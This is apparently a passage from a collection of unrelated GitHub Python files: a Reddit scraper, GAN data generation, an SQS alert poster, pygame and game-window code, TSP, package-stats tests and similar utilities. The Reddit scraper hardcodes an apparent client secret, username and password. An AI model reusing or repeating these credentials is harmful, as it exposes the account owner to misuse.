output_format\r\n #print(species_name[:-1], scaff, start_coor, stop_coor, complement, error)\r\n# break\r\n#print(Output_Sequence)\r\noutput_file = open(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/3.Phylo/2.for_automation/coordinates.csv\",'w')\r\noutput_file.write(Output_Sequence)\r\noutput_file.close()\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntblast_out.close()\r\nphylo_species.close()","repo_name":"saurav-baral/Python_codes","sub_path":"tblast_extraction.py","file_name":"tblast_extraction.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12309575386","text":"\"\"\"\nLinearSearch1.py\nBilly Cussen\n09/02/2021\n\"\"\"\n\ndef linearSearch(list, key):\n for i in list:\n if i == key:\n return True\n return False\n\ndef linearSearch2(list, key):\n for i in list:\n if (i > key)-(i < key)==0:\n return True\n return False\n\nmyList = [100,7,3,4,6,2,3338, 29494, 22]\nmyList1 = [\"abc\",\"def\",\"ghi\",\"jkl\"]\n\nprint(str(linearSearch(myList, 29494)))\nprint(str(linearSearch(myList, 23)))\nprint(str(linearSearch2(myList1, \"ghi\")))\nprint(str(linearSearch2(myList1, \"mno\")))","repo_name":"BillyCussen/CodingPractice","sub_path":"Python/Data Structures & Algorithms Module - Python/Revision/SearchAndSortAlgorithms/LinearSearch1.py","file_name":"LinearSearch1.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21867226178","text":"import praw\r\nimport pandas\r\nimport time\r\n\r\nwith open('data3.txt', 'w', encoding='utf-8') as f:\r\n\r\n reddit = praw.Reddit(client_id='Jzzy_2GSgfC5Tw',\r\n client_secret='7bbxeeAHqtmZAcrE7w3xwDuna64',\r\n user_agent='itsamemario',\r\n username='rorance',\r\n password='firedog25'\r\n )\r\n\r\n\r\n subreddit = reddit.subreddit('conservative')\r\n\r\n new_posts = subreddit.new(limit = 1000)\r\n\r\n for submission in new_posts:\r\n if not submission.stickied:\r\n if submission.score >= 10:\r\n f.write('Title: {}, score: {}, author: {}, time: {}, selftext: {}'.format(submission.title, submission.score, submission.author, submission.created_utc, submission.selftext) + \"\\n\")\r\n #print('Title: {}, score: {}, author: {}, time: {}, selftext: {}'.format(submission.title, submission.score, submission.author, submission.created_utc, submission.selftext))\r\n submission.comments.replace_more(limit = 0)\r\n comments = submission.comments.list()\r\n for comment in comments:\r\n if comment.score >= 10:\r\n f.write('Body: {}, Score: {}, Author: {}'.format(comment.body, comment.score, comment.author) + \"\\n\")\r\n #print('Body: {}, Score: {}, Author: {}'.format(comment.body, comment.score, comment.author))\r\n","repo_name":"rosaunde/Reddit-Political-Data","sub_path":"scripts/FYP (1).py","file_name":"FYP (1).py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70852398508","text":"import GAN\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow import keras\n\nBATCH_SIZE = 128\nEPOCHS = 200\nCODINGS_SIZE = 100\nCLASS_SIZE = 100000 # This is the number of new data points per class (10 classes)\n\ntrain = pd.read_csv('dataset/train.csv')\ntrain_copy = train.copy()\nX_train = train.iloc[:, 1:]\nX_train = np.array(X_train).reshape([-1, 28, 28, 1])\n\n# Loop over each of the 10 classes\nfor class_num in range(10):\n # Apply masking\n data = X_train[train_copy.iloc[:, 0]==class_num]\n # Rescale values\n data = data / 255 * 2 - 1\n # Prepare data for training\n dataset = tf.data.Dataset.from_tensor_slices(data).shuffle(data.shape[0])\n dataset = dataset.batch(int(BATCH_SIZE / 2), drop_remainder=True).prefetch(1)\n\n # Instantiate the GAN layers\n generator = GAN.generator(CODINGS_SIZE)\n discriminator = GAN.discriminator()\n\n gan = keras.models.Sequential([\n generator,\n discriminator\n ])\n\n # Compile the discriminator and whole GAN\n discriminator.compile(\n loss='binary_crossentropy',\n optimizer='rmsprop'\n )\n\n # Freeze discriminator layers so that only generator will be trained\n discriminator.trainable = False\n gan.compile(\n loss='binary_crossentropy',\n optimizer='rmsprop'\n )\n\n # Train the GAN\n print(f'[INFO] Training GAN for class #{class_num}...')\n GAN.train_gan(gan, dataset, BATCH_SIZE, CODINGS_SIZE, class_num, EPOCHS)\n\n # Generate synthetic data\n noise = np.random.uniform(0, 1, size=(CLASS_SIZE, CODINGS_SIZE))\n # Rescale the generator output from [-1, 1] to [0, 1]\n gen_imgs = generator.predict(noise) / 2 + 0.5\n # Flatten each image 2D array\n gen_imgs = gen_imgs.reshape([gen_imgs.shape[0], 784])\n # Generate a 1D array of labels\n labels = np.full((gen_imgs.shape[0], 1), class_num)\n new_data = np.hstack([labels, gen_imgs])\n new_data = pd.DataFrame(new_data, columns=train.columns)\n new_data.iloc[:, 0] = new_data.iloc[:, 0].astype(np.int8)\n # Save new dataset\n print('[INFO] Saving new dataset...')\n new_data.to_csv(f'dataset/{class_num}.csv', index=False)\n\nprint('[INFO] All done!')\n","repo_name":"kevinesg/MNIST-GAN","sub_path":"generate_data.py","file_name":"generate_data.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13514655034","text":"import argparse\nimport logging\n\nimport boto3\n\nfrom alerts.github_alert import GithubAlert\nfrom alerts.mattermost_alert import MattermostAlert\n\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.INFO)\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"--queue_url\",\n required=True,\n help=\"The SQS queue URL to read messages from\",\n)\nparser.add_argument(\n \"--aws_access_key_id\",\n required=True,\n help=\"AWS Access Key\",\n)\nparser.add_argument(\n \"--aws_secret_access_key\",\n required=True,\n help=\"AWS Secret Access Key\",\n)\nparser.add_argument(\n \"--github_token\", required=True, help=\"Access token for Github account\"\n)\nparser.add_argument(\n \"--github_url\", required=True, help=\"URL for Github (enterprise)\"\n)\nparser.add_argument(\n \"--github_user\", required=True, help=\"Github user that repo lives under\"\n)\nparser.add_argument(\n \"--github_repo\", required=True, help=\"Github repo name to post to\"\n)\nparser.add_argument(\n \"--mattermost_webhook_url\",\n help=\"Mattermost webhook URL to post to chatroom\",\n)\nparser.add_argument(\n \"--mattermost_username\", help=\"Mattermost user that is posting the message\"\n)\nparser.add_argument(\n \"--mattermost_icon_url\",\n help=\"URL to an icon to use for the Mattermost user\",\n)\nparser.add_argument(\n \"-v\",\n \"--verbose\",\n action=\"count\",\n default=0,\n help=\"Increase verbosity, up to three times\",\n)\n\n\ndef cleanup_message(message):\n return message.replace(\n \"#\", \"# \"\n ).replace( # Avoids erroneous Github issue link\n \"[Open]\", \"\" # We want to expand the link\n )\n\n\ndef process_sqs_message(message, github_alert, mattermost_alert):\n body = cleanup_message(message.get(\"Body\"))\n title = body.split(\" - \")[0]\n\n logger.debug(\"Retrieved message {} from SQS\".format(body))\n\n issue = github_alert.post(title=title, body=body)\n\n if mattermost_alert:\n try:\n mattermost_alert.post(\n text=\"Alert: {}. Github issue at {}\".format(\n title, issue.html_url\n )\n )\n except Exception:\n # Mattermost failures should be considered non-fatal, as the alert\n # has already been logged to GitHub. Failure here would mean that\n # the alert wouldn't get popped off of the SQS queue, which would\n # result in multiple repeated postings of the same alert to GH for\n # as long as MM is down.\n logger.exception(\"Failed to post message to Mattermost.\")\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n if args.verbose > 0:\n logger.setLevel(logging.DEBUG)\n\n # Initialize Amazon SQS client\n client = boto3.client(\n \"sqs\",\n aws_access_key_id=args.aws_access_key_id,\n aws_secret_access_key=args.aws_secret_access_key,\n region_name=\"us-east-1\",\n )\n\n # Intialize GithubAlert class\n github_alert = GithubAlert(\n {\n \"repo_name\": args.github_repo,\n \"token\": args.github_token,\n \"url\": args.github_url,\n \"user\": args.github_user,\n }\n )\n\n mattermost_alert = None\n # Initialize MattermostAlert class (optional)\n if args.mattermost_webhook_url and args.mattermost_username:\n mattermost_alert = MattermostAlert(\n {\n \"webhook_url\": args.mattermost_webhook_url,\n \"username\": args.mattermost_username,\n }\n )\n\n # Receive messages from specified SQS queue\n response = client.receive_message(\n QueueUrl=args.queue_url, MaxNumberOfMessages=10\n )\n\n for message in response.get(\"Messages\", {}):\n process_sqs_message(\n message=message,\n github_alert=github_alert,\n mattermost_alert=mattermost_alert,\n )\n client.delete_message(\n QueueUrl=args.queue_url, ReceiptHandle=message.get(\"ReceiptHandle\")\n )\n logger.debug(\"Deleted message {} from SQS\".format(message.get(\"Body\")))\n","repo_name":"cfpb/consumerfinance.gov","sub_path":"cfgov/alerts/post_sqs_messages.py","file_name":"post_sqs_messages.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"37"} +{"seq_id":"32512624110","text":"import pygame\n\n\ndef RotateObjectsBack(majorAngle, minAngle,rects,walls_dimensions):\n WallRects=[]\n print(rects)\n for pos, rect in enumerate(rects):\n angle = round((majorAngle+minAngle[pos])%360)\n\n if abs(angle) == 0 or abs(angle) == 180 or abs(angle)== 360:\n rect.width=walls_dimensions[pos][0]\n rect.height=walls_dimensions[pos][1]\n \n else:\n rect.width=walls_dimensions[pos][1]\n rect.height=walls_dimensions[pos][0]\n # return a list of rects not one \n WallRects.append(pygame.Rect(rect.centerx-rect.width/2+rect.height/2,rect.centery-rect.height/2+rect.width/2,rect.width,rect.height))\n return WallRects","repo_name":"Mohamed26Salah/The-XY-Designer","sub_path":"RoomOrganizer/ExportJson.py","file_name":"ExportJson.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"30921634365","text":"import copy\r\nfrom heatmaps import *\r\n\r\n# returns all legal moves\r\ndef getLegal(board, hand, inverted):\r\n # if inverted, turn is black\r\n # else turn is white\r\n if inverted:\r\n newHand = [(e[0], tuple((-offset[0], -offset[1]) for offset in e[1]), e[2]) for e in hand]\r\n else:\r\n newHand = hand\r\n \r\n if inverted:\r\n searchPieces = (3,4)\r\n else:\r\n searchPieces = (1,2)\r\n legalMoves = []\r\n for y, layer in enumerate(board):\r\n for x, piece in enumerate(layer):\r\n if piece in searchPieces:\r\n for move in newHand:\r\n for offset in move[1]:\r\n if (0 <= y + offset[0] <= 4) and (0 <= x + offset[1] <= 4):\r\n newSquare = board[y + offset[0]][x + offset[1]]\r\n if not (newSquare in searchPieces):\r\n legalMoves.append((move[0], (y, x), (y + offset[0], x + offset[1])))\r\n\r\n\r\n if len(legalMoves) == 0:\r\n legalMoves = [(card[0], (0,0), (0,0)) for card in newHand]\r\n return legalMoves\r\n\r\n\r\n\r\n# returns a new board give two coordinates\r\ndef makeMove(board, coorda, coordb):\r\n piece = board[coorda[0]][coorda[1]]\r\n board[coorda[0]][coorda[1]] = 0\r\n board[coordb[0]][coordb[1]] = piece\r\n return board\r\n\r\n# eval goes from -100 to +100, -100 means black win, +100 means white win\r\ndef evaluate(board):\r\n pieceCount = {\r\n 0:0,\r\n 1:0,\r\n 2:0,\r\n 3:0,\r\n 4:0,\r\n }\r\n\r\n value = 0\r\n \r\n if board[0][2] == 2:\r\n return 1000\r\n if board[4][2] == 4:\r\n return -1000\r\n\r\n for y, layer in enumerate(board):\r\n for x, piece in enumerate(layer):\r\n #piece count\r\n pieceCount[piece] += 1\r\n\r\n #further pawns are slightly favoured, largest increase for first rank\r\n if piece == 0:\r\n pass\r\n elif piece == 1:\r\n value += whitePawnHeat[y][x]\r\n elif piece == 3:\r\n value += blackPawnHeat[y][x]\r\n elif piece == 2:\r\n value += whiteMasterHeat[y][x]\r\n elif piece == 4:\r\n value += blackMasterHeat[y][x]\r\n if pieceCount[2] == 0:\r\n return -1000\r\n if pieceCount[4] == 0:\r\n return 1000\r\n \r\n\r\n # ignore masters since there must be one of each in this case\r\n value += (pieceCount[1] - pieceCount[3]) * 20\r\n\r\n return value\r\n\r\n\r\ndef checkWin(board):\r\n found2 = False\r\n found4 = False\r\n for layer in board:\r\n for piece in layer:\r\n if piece == 2:\r\n found2 = True\r\n if piece == 4:\r\n found4 = True\r\n \r\n if (board[0][2] == 2) or (board[4][2] == 4):\r\n return True\r\n if found2 == 0 or found4 == 0:\r\n return True\r\n else:\r\n return False\r\n \r\n\r\n# game is [board, inverted, whiteHand, blackHand, sideHand]\r\n# if inverted, turn = black\r\ndef getChildren(game):\r\n if game[1]: #black turn\r\n legalMoves = getLegal(game[0], game[3], game[1])\r\n else:\r\n legalMoves = getLegal(game[0], game[2], game[1])\r\n \r\n children = []\r\n for move in legalMoves:\r\n newBoard = makeMove(game[0], move[1], move[2])\r\n \r\n if game[1]:\r\n for card in game[3]:\r\n if card[0] == move[0]:\r\n newHand = game[3].remove(card)\r\n newSide = card\r\n break\r\n \r\n children.append([newBoard, not game[1], game[2], newHand, newSide])\r\n else:\r\n for card in game[2]:\r\n if card[0] == move[0]:\r\n newHand = game[2].remove(card)\r\n newSide = card\r\n break\r\n \r\n children.append([newBoard, not game[1], newHand, game[3], newSide])\r\n \r\n return children\r\n\r\ndef makeGameMove(game, move):\r\n newgame = copy.deepcopy(game)\r\n newBoard = makeMove(newgame[0], move[1], move[2])\r\n if newgame[1]:\r\n for i, card in enumerate(newgame[3]):\r\n if card[0] == move[0]:\r\n newHand = [newgame[3][(i + 1) % 2], newgame[4]]\r\n newSide = card\r\n break\r\n \r\n \r\n return [newBoard, not newgame[1], newgame[2], newHand, newSide]\r\n else:\r\n for i, card in enumerate(newgame[2]):\r\n if card[0] == move[0]:\r\n newHand = [newgame[2][(i + 1) % 2], newgame[4]]\r\n newSide = card\r\n break\r\n \r\n return [newBoard, not newgame[1], newHand, newgame[3], newSide]\r\n\r\ndef minimax(game, depth, alpha, beta, maximizing):\r\n if depth == 0 or checkWin(game[0]):\r\n return None, evaluate(game[0])\r\n \r\n if maximizing:\r\n legalMoves = getLegal(game[0], game[2], False)\r\n maxEval = -1001\r\n for move in legalMoves:\r\n currentEval = minimax(makeGameMove(game, move), depth - 1, alpha, beta, False)[1]\r\n\r\n if currentEval > maxEval:\r\n maxEval = currentEval\r\n best_move = move\r\n \r\n alpha = max(alpha, currentEval)\r\n if beta <= alpha:\r\n break\r\n return best_move, maxEval\r\n else:\r\n legalMoves = getLegal(game[0], game[3], True)\r\n minEval = 1001\r\n for move in legalMoves:\r\n currentEval = minimax(makeGameMove(game, move), depth - 1, alpha, beta, True)[1]\r\n if currentEval < minEval:\r\n minEval = currentEval\r\n best_move = move\r\n \r\n beta = min(beta, currentEval)\r\n if beta <= alpha:\r\n break\r\n \r\n return best_move, minEval\r\n\r\n","repo_name":"vrnprkh/onitamaAI","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"430247487","text":"import unittest\nimport tempfile\nimport pathlib\nfrom package_stats.content_file import ContentFile\n\n\nclass TestPackStats(unittest.TestCase):\n \"\"\"This test case tests the entirety of package_stats\"\"\"\n\n def setUp(self) -> None:\n self.architecture = \"armel\"\n self.mirror_url = \"http://ftp.uk.debian.org/debian/dists/stable/main/\"\n\n def test_lists_architectures(self):\n \"\"\"the application can list the architectures in the provided debian mirror\"\"\"\n content_file = ContentFile(self.mirror_url, self.architecture)\n result, _ = content_file.get_content_indices()\n\n self.assertTrue(\n result is not None,\n \"The function returned a None value where a non-empty list was expected.\")\n\n self.assertTrue(isinstance(result, list),\n \"The function failed to return a list\")\n\n self.assertTrue(\n len(result) > 0,\n \"An empty list was returned. Either the code is broken, or the url has no Content Indices!\")\n result_contains_dicts = all(isinstance(item, dict) for item in result)\n self.assertTrue(result_contains_dicts,\n \"each item in the result should be a dictionary\")\n result_contains_keys = all(\"filename\" in item.keys(\n ) and \"url\" in item.keys() for item in result)\n self.assertTrue(result_contains_keys,\n \"each item in the result should contain a filename and a url value\")\n\n def test_get_content_indice_file_url(self):\n \"\"\"the application can get the content indice file url given the architecture\"\"\"\n content_file = ContentFile(self.mirror_url, self.architecture)\n _, urls = content_file.get_content_indices()\n\n self.assertIsInstance(\n urls, list, \"output of the function was expected to be a list of urls\")\n self.assertTrue(urls[0].endswith(\n f\"{self.architecture}.gz\"), \"output url should end with the [ARCHITECTURE].gz\")\n\n def test_downloads_content_file(self):\n \"\"\"the application can download the right contents file given an architecture\n string\"\"\"\n\n with tempfile.TemporaryDirectory() as temp_directory:\n content_file = ContentFile(\n self.mirror_url, self.architecture, output_dir=temp_directory)\n _, urls = content_file.get_content_indices()\n url = urls[0]\n content_file.download_contents_file(content_file_url=url)\n expected_file = pathlib.Path(\n temp_directory) / f\"Contents-{self.architecture}\"\n self.assertTrue(expected_file.exists(\n ), \"The requested contents indice was not downloaded and unpacked\")\n self.assertTrue(\n expected_file.is_file(),\n \"The requested contents indice was not downloaded and unpacked to a file, it is a directory\")\n\n def test_gets_package_data_from_contents(self):\n \"\"\" The application can get the package data from a contents file\"\"\"\n with tempfile.TemporaryDirectory() as temp_directory:\n content_file = ContentFile(\n self.mirror_url, self.architecture, output_dir=temp_directory)\n _, urls = content_file.get_content_indices()\n complete_package_data = {}\n total_keys = 0\n for url in urls:\n contents_file = content_file.download_contents_file(url)\n package_dict = content_file.parse_contents_indice(\n contents_file)\n self.assertIsInstance(\n package_dict, dict, \"Package metadata should be a dictionary\")\n self.assertTrue(len(package_dict.keys()) > 0,\n \"Package list is not empty\")\n complete_package_data.update(**package_dict)\n total_keys += len(package_dict)\n self.assertEqual(total_keys, len(complete_package_data),\n \"the two package files were not added together\")\n","repo_name":"redrussianarmy/package-statistics","sub_path":"tests/test_package_stats.py","file_name":"test_package_stats.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29104004056","text":"\"\"\"programa1\n nombre = Gonzalo FM\n fecha = 23/01/2023\n descripcion...\n En este codifo se va a conocer los comentarios multilinea y concateneacion\n\"\"\"\nv1 = \"Hola\" \nv2 = \"mundo python\" # Las variables anteriores se utilizan para almacenar una cadena de caracteres\n\nprint(v1 + v2)\n\n\n","repo_name":"Gonzalo34/POO_GonzaloFM_TI22","sub_path":"semana2/programa1.py","file_name":"programa1.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1315316737","text":"from graphics import *\r\nimport random as r\r\nimport math as n\r\n\r\nprint(\"Usando numeri troppo grandi le palline si sovrappongono e si incasina tutto\")\r\nm = int(input(\"Quante palline vuoi? > \"))\r\nminr = int(input(\"Raggio minimo? > \"))\r\nmaxr = int(input(\"Raggio massimo? > \"))\r\nw = GraphWin(\"Numeri umili ragazzi\", 600, 600)\r\npalette = [color_rgb(r.randint(100, 255), r.randint(100, 255), r.randint(100, 255)) for i in range(m)]\r\nw.setBackground(color_rgb(0, 0, 0))\r\n\r\n\r\ndef dist(x, y, x1, y1):\r\n return int(n.sqrt(n.pow(x - x1, 2) + n.pow(y - y1, 2)))\r\n\r\n\r\nclass palla:\r\n def __init__(self):\r\n self.vx = r.random() * 2\r\n self.vy = r.random() * 2\r\n self.i = r.randint(0, m)\r\n self.ragg = r.randint(minr, maxr)\r\n self.dx = r.randint(self.ragg, w.width - self.ragg)\r\n self.dy = r.randint(self.ragg, w.width - self.ragg)\r\n\r\n\r\n def fix(self):\r\n for s in cesto:\r\n if s is not self:\r\n while self.un_fixed():\r\n self.dx = r.randint(self.ragg, w.width - self.ragg)\r\n self.dy = r.randint(self.ragg, w.height - self.ragg)\r\n\r\n\r\n self.area = Circle(Point(self.dx, self.dy), self.ragg)\r\n self.area.setFill(palette[self.i % m])\r\n self.area.draw(w)\r\n\r\n def un_fixed(self):\r\n for v in cesto:\r\n if v is not self:\r\n if dist(self.dx, self.dy, v.dx, v.dy) <= self.ragg + v.ragg:\r\n return True\r\n return False\r\n\r\n def edge(self):\r\n x = self.area.getCenter().getX()\r\n y = self.area.getCenter().getY()\r\n if not self.area.getRadius() < x < w.width - self.area.getRadius():\r\n self.vx *= -1\r\n self.i += 1\r\n if not self.area.getRadius() < y < w.height - self.area.getRadius():\r\n self.vy *= -1\r\n self.i += 1\r\n\r\n\r\n def collision(self):\r\n x = self.area.getCenter().getX()\r\n y = self.area.getCenter().getY()\r\n\r\n for t in cesto:\r\n if t is not self:\r\n x1 = t.area.getCenter().getX()\r\n y1 = t.area.getCenter().getY()\r\n\r\n if dist(x, y, x1, y1) < self.ragg + t.ragg:\r\n self.vx *= -1\r\n self.vy *= -1\r\n self.i += 1\r\n\r\n def run(self):\r\n self.collision()\r\n self.edge()\r\n\r\n def bounce(self):\r\n self.area.setFill(palette[self.i % m])\r\n self.area.move(self.vx, self.vy)\r\n\r\n\r\ncesto = [palla() for j in range(m)]\r\n\r\nif m > 40 and minr > 30:\r\n print(\"Hai esagerato con le dimensioni razza di megalomane!\")\r\n\r\nfor o in cesto:\r\n o.fix()\r\n\r\nwhile True:\r\n for p in cesto:\r\n p.run()\r\n for p in cesto:\r\n p.bounce() #prima controllo le posizioni, poi sposto il tutto\r\n","repo_name":"Sierpinski22/Python-Projects","sub_path":"Simulazioni/nw_rimb_palla/rimb_palla2.py","file_name":"rimb_palla2.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32121853033","text":"\"\"\" import packages \"\"\"\nfrom connexion.resolver import RestyResolver\nimport connexion\nfrom flask_cors import CORS\nfrom healthcheck import HealthCheck, EnvironmentDump\nimport application.application_factory as application_factory\nimport config.default_config as config\n\nv_config = config.DefaultConfig()\n\nv_application = application_factory.ApplicationFactory.factory(v_config)\n\nif v_config.get_string(\"rest\", \"host\") != \"\":\n vhost = v_config.get_string(\"rest\", \"host\")\n print(\"Using host \" + vhost)\nelse:\n vhost = \"0.0.0.0\"\n print(\"Using default host \" + vhost)\n\nif v_config.get_string(\"rest\", \"port\") != \"\":\n vport = v_config.get_string(\"rest\", \"port\")\n print(\"Using port \" + vport)\nelse:\n vport = \"9224\"\n print(\"Using default port \" + vport)\n\nif v_config.get(\"app\", \"debug\") != \"\":\n vdebug = v_config.get(\"app\", \"debug\")\n print(\"Using debug \" + str(vdebug))\nelse:\n vdebug = False\n print(\"Using default debug \" + str(vdebug))\n\napp = connexion.FlaskApp(__name__, specification_dir='swagger/')\napp.add_api('arbolbinario.yml')\nCORS(app.app)\n\nhealth = HealthCheck()\n\nenvdump = EnvironmentDump()\n\n\ndef database_available():\n return True, \"database ok\"\n\n\nhealth.add_check(database_available)\n\n# Add a flask route to expose information\napp.add_url_rule(\n \"/arbolbinario/healthcheck\", \"healthcheck\", view_func=lambda: health.run())\napp.add_url_rule(\n \"/arbolbinario/environment\", \"environment\", view_func=lambda: envdump.run())\n\n\ndef run_rest_server():\n app.run(\n host=vhost,\n port=vport,\n debug=vdebug,\n threaded=True,\n use_reloader=False)\n\n\nif __name__ == '__main__':\n run_rest_server()\n","repo_name":"afraniosolano/arbolbinario","sub_path":"rest/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"46116109968","text":"import sys\n\nimport numpy as np\n\n\nclass TravelingSalesmanProblem:\n\n def __init__(self, cities):\n self.cities = cities\n self.distances = np.zeros(shape=(len(cities), len(cities)))\n for i in range(len(cities)):\n for j in range(len(cities)):\n if i == j:\n self.distances[i][j] = sys.maxsize\n continue\n self.distances[i][j] = np.sqrt((cities[i][0] - cities[j][0])**2 + (cities[i][1] - cities[j][1])**2)\n\n\n def get_distance(self, path):\n total_distance = 0\n for i in range(len(path)):\n total_distance += self.distances[path[i-1], path[i]]\n return total_distance\n\n def get_graph(self):\n return self.cities, self.distances","repo_name":"bartoszbartosik/ant-colony-optimization","sub_path":"tsp.py","file_name":"tsp.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18089990049","text":"import sys\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nimport sounddevice as sd\nimport soundfile as sf\n\nfrom Screen import Black\nfrom Room import Room\nimport Bedroom\nimport config\n\nclass Alarm(QWidget):\n \"\"\"\n General Object window class\n \"\"\"\n def __init__(self):\n super().__init__()\n self.left = 440\n self.top = 300\n self.width = 200\n self.height = 300\n\n self.setWindowTitle(\"Alarm\")\n self.setGeometry(self.left,self.top,self.width,self.height)\n\n self.black_window = None\n self.br = None\n\n self.morning_set = False\n self.evening_set = False\n\n self.bg_image = \"background\"\n self.background = QLabel(self)\n pixmap = QPixmap(f'../images/objects/alarm_{self.bg_image}.png')\n self.background.setPixmap(pixmap)\n\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.updateBackground)\n self.timer.start(500) \n\n self.setInteractionButtons()\n\n def setInteractionButtons(self):\n button_width = 75\n button_height = 30\n # Close\n self.closeButton = QPushButton(\"Close\", self)\n self.closeButton.setGeometry(self.width/2-button_width/2,self.height-button_height,button_width,button_height)\n self.closeButton.clicked.connect(self.toClose) \n\n # Morning\n self.morningButton = QPushButton(\"\", self)\n self.morningButton.setGeometry(160,112,35,20)\n self.morningButton.setStyleSheet(\"background-color: white;\")\n self.morningButton.clicked.connect(self.toMorning)\n\n # Evening\n self.eveningButton = QPushButton(\"\", self)\n self.eveningButton.setGeometry(160,162,35,20)\n self.eveningButton.setStyleSheet(\"background-color: rgba(0, 255, 255, 0);\")\n self.eveningButton.clicked.connect(self.toEvening)\n \n def updateBackground(self):\n \"\"\"\n Changes background image\n \"\"\"\n pixmap = QPixmap(f'../images/objects/alarm_{self.bg_image}.png')\n self.background.setPixmap(pixmap)\n\n def toClose(self, checked):\n if self.morning_set and config.game_time.isDay() == False:\n config.game_time.setTime(\"day\")\n if config.progress.data.loc[\"first_sleep\",\"complete\"] == False:\n config.progress.data.loc[\"first_sleep\",\"complete\"] = True\n # Show new bedroom first\n if self.br is None:\n self.br = Bedroom.Bedroom()\n self.br.show()\n else:\n self.br.close() # Close window.\n self.br = None # Discard reference.\n # create black screen over new bedroom\n if self.black_window is None:\n self.black_window = Black()\n self.black_window.show()\n else:\n self.black_window.close()\n self.black_window = None\n elif self.evening_set and config.game_time.isDay() == True:\n config.game_time.setTime(\"night\")\n # Show new bedroom first\n if self.br is None:\n self.br = Bedroom.Bedroom()\n self.br.show()\n else:\n self.br.close() # Close window.\n self.br = None # Discard reference.\n # create black screen over new bedroom\n if self.black_window is None:\n self.black_window = Black()\n self.black_window.show()\n else:\n self.black_window.close()\n self.black_window = None\n else:\n filename = f\"../audio/nancy/cant_do.wav\"\n data, fs = sf.read(filename, dtype='float32') \n sd.play(data, fs)\n # Reopen bedroom\n self.br = Bedroom.Bedroom()\n self.br.show()\n\n\n self.close()\n\n def toMorning(self, checked):\n \"\"\"\n Changes alarm background to morning\n \"\"\"\n if self.morning_set == False:\n self.morning_set = True\n self.bg_image = \"morning_set\"\n else:\n self.morning_set = False\n self.bg_image = \"background\"\n\n def toEvening(self, checked):\n \"\"\"\n Changes alarm background to evening\n \"\"\"\n if self.evening_set == False:\n self.evening_set = True\n self.bg_image = \"evening_set\"\n else:\n self.evening_set = False\n self.bg_image = \"background\"\n\n\n","repo_name":"HagenFritz/nancy-drew-forced-quarantine","sub_path":"src/objects/Alarm.py","file_name":"Alarm.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70934524909","text":"import glob\n\ntext_files = glob.glob(\"*.txt\")\n\nfor path in text_files:\n fout = open(\"./ok2compare/\"+path, \"w\")\n fin = open(path, \"r\")\n init_ts = 0.0\n for (i, line) in enumerate(fin.readlines()):\n els = [s.strip() for s in line.split(\" \") if s != \"\"]\n if (i == 0):\n init_ts = float(els[0])\n els[0] = \"{:9.6f}\".format(float(els[0])-init_ts)\n for e in els[0:-1]:\n print(e.strip(), end=\" \", file=fout)\n print(els[-1].strip(), file=fout)\n\n fin.close()\n fout.close()\n\ntext_files = glob.glob(\"*.csv\")\nn_head = 7\n\nfor path in text_files:\n fin = open(path, \"r\")\n path = path.replace(\".csv\", \".txt\")\n fout = open(\"./ok2compare/\"+path, \"w\")\n init_ts = 0.0\n for (i, line) in enumerate(fin.readlines()):\n if i < n_head:\n continue\n # print(els)\n line=line.strip()\n els = [float(s.strip()) for s in line.split(\",\") if s != \"\"]\n\n if (i == n_head):\n init_ts = els[1]\n\n to_write = \"{:9.6f} {:f} {:f} {:f} {:f} {:f} {:f} {:f}\".format(\n els[1], els[6], els[7], els[8], els[2], els[3], els[4], els[5])\n print(to_write.strip(), file=fout)\n\n fin.close()\n fout.close()\n","repo_name":"zyfff/Canny-EVT","sub_path":"scripts/for_evaluation/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35898317290","text":"# 导入窗体模块\nimport tkinter\n# 导入mysql模块\nimport pymysql\n# 导入时钟模块\nimport time\n# 导入线程模块\nimport threading\n# 导入抓取窗口消息模块\nfrom tkinter.messagebox import askyesno\n\n\n# 创建一个thinter时钟模块\nclass Timer:\n def 